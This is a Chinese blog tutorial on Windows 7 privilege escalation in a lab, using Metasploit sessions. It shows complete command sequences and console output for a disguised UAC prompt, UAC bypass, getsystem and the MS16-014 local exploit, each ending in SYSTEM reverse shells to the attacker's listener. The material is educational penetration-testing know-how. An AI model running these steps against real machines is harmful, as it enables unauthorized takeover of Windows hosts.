MSF内网渗透系列2-权限提升

在上篇文章中,通过win7运行msf.exe,kali接收到一个session,但这个session权限只是普通权限,无法做更多的操作。
权限提升
1.提高程序运行级别
2.UAC绕过
3.利用提权漏洞进行提权

提高程序运行级别
msf模块>exploit/windows/local/ask
但会触发UAC,只有当用户同意是才能获得更高权限

  5         meterpreter x64/windows  win7-PC\win7 @ WIN7-PC         192.168.159.149:4444 -> 192.168.159.145:49248 (192.168.159.145)

msf5 exploit(multi/handler) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > getuid
Server username: win7-PC\win7
meterpreter > background
[*] Backgrounding session 5...
msf5 exploit(multi/handler) > use exploit/windows/local/ask 
msf5 exploit(windows/local/ask) > info

       Name: Windows Escalate UAC Execute RunAs
     Module: exploit/windows/local/ask
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-03

Provided by:
  mubix <mubix@hak5.org>
  b00stfr3ak

Available targets:
  Id  Name
  --  ----
  0   Windows

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  FILENAME   QQ.exe           no        File name on disk
  PATH                        no        Location on disk, %TEMP% used if not set
  SESSION    1                yes       The session to run this module on.
  TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)

Payload information:

Description:
  This module will attempt to elevate execution level using the 
  ShellExecute undocumented RunAs flag to bypass low UAC settings.

msf5 exploit(windows/local/ask) > 

可以看到session 5只是普通权限,这时候利用ask模块进行提权,该模块需要设置要用来提权的session,以及启动程序的名称

msf5 exploit(windows/local/ask) > set session 5
session => 5
msf5 exploit(windows/local/ask) > set filename execl.exe
filename => execl.exe
msf5 exploit(windows/local/ask) > 

ask模块设置完成后,就可以使用了,运行exploit,回到win7,可以看见弹出一个execl.exe程序框,如果你点击是,则kali会获得一个新的session,如果点击否,则kali会得到失败信息。

msf5 exploit(windows/local/ask) > exploit

[*] Started reverse TCP handler on 192.168.159.149:4444 
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[*] Uploading execl.exe - 73802 bytes to the filesystem...
[*] Executing Command!

Win7 截图:


image.png

win7 点击 否,kali返回信息:

msf5 exploit(windows/local/ask) > exploit

[*] Started reverse TCP handler on 192.168.159.149:4444 
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[*] Uploading execl.exe - 73802 bytes to the filesystem...
[*] Executing Command!
[-] Exploit failed [timeout-expired]: Timeout::Error execution expired
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/ask) > 

win7 点击 是,kali获取到新的session

msf5 exploit(windows/local/ask) > exploit

[*] Started reverse TCP handler on 192.168.159.149:4444 
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[*] Uploading execl.exe - 73802 bytes to the filesystem...
[*] Executing Command!
[*] Sending stage (180291 bytes) to 192.168.159.145
[*] Meterpreter session 6 opened (192.168.159.149:4444 -> 192.168.159.145:49249) at 2020-07-10 15:30:43 +0800
meterpreter > 

使用background退出这个meterpreter
使用sessions,查看session
使用sessions -i 6,进入新获取的session
使用getuid查看该session权限
发现还是普通权限
这时候使用getsystem,获得系统权限
再使用getuid查看

msf5 exploit(windows/local/ask) > sessions

Active sessions
===============

  Id  Name  Type                     Information             Connection
  --  ----  ----                     -----------             ----------
  5         meterpreter x64/windows  win7-PC\win7 @ WIN7-PC  192.168.159.149:4444 -> 192.168.159.145:49248 (192.168.159.145)
  6         meterpreter x64/windows  win7-PC\win7 @ WIN7-PC  192.168.159.149:4444 -> 192.168.159.145:49249 (192.168.159.145)

msf5 exploit(windows/local/ask) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > getuid
Server username: win7-PC\win7
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

UAC绕过
msf模块
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_vbs

这里使用第一个模块进行绕过UAC提权

msf5 > use exploit/windows/local/bypassuac
使用bypassuac模块
msf5 exploit(windows/local/bypassuac) > set session 5
session => 5
设置需要提权的session
msf5 exploit(windows/local/bypassuac) > exploit

[*] Started reverse TCP handler on 192.168.159.149:4444 
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (180291 bytes) to 192.168.159.145
[*] Meterpreter session 7 opened (192.168.159.149:4444 -> 192.168.159.145:49250) at 2020-07-10 16:00:14 +0800
获得新的session
meterpreter > getuid
Server username: win7-PC\win7
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
成功提权

利用提权漏洞进行提权
exploit/windows/local/ms14_058_track_popup_menu
等等
这里使用
exploit/windows/local/ms16_014_wmi_recv_notif
这个模块,同样使用info和show options查看信息,只需要设置一个session就可以使用
攻击成功会直接返回一个shell,使用whoami查看权限

msf5 exploit(windows/local/ms16_014_wmi_recv_notif) > show options

Module options (exploit/windows/local/ms16_014_wmi_recv_notif):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 SP0/SP1


msf5 exploit(windows/local/ms16_014_wmi_recv_notif) > set session 8
session => 8
msf5 exploit(windows/local/ms16_014_wmi_recv_notif) > sessions

Active sessions
===============

  Id  Name  Type                     Information             Connection
  --  ----  ----                     -----------             ----------
  8         meterpreter x64/windows  win7-PC\win7 @ WIN7-PC  192.168.159.149:4444 -> 192.168.159.145:49251 (192.168.159.145)

msf5 exploit(windows/local/ms16_014_wmi_recv_notif) > exploit

[*] Started reverse TCP handler on 192.168.159.149:4444 
[*] Launching notepad to host the exploit...
[+] Process 1820 launched.
[*] Reflectively injecting the exploit DLL into 1820...
[*] Injecting exploit into 1820...
[*] Exploit injected. Injecting payload into 1820...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 9 opened (192.168.159.149:4444 -> 192.168.159.145:49255) at 2020-07-10 16:29:00 +0800

C:\Users\win7\Desktop>whoami
whoami
nt authority\system

C:\Users\win7\Desktop>


成功提权

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,172评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,346评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,788评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,299评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,409评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,467评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,476评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,262评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,699评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,994评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,167评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,827评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,499评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,149评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,387评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,028评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,055评论 2 352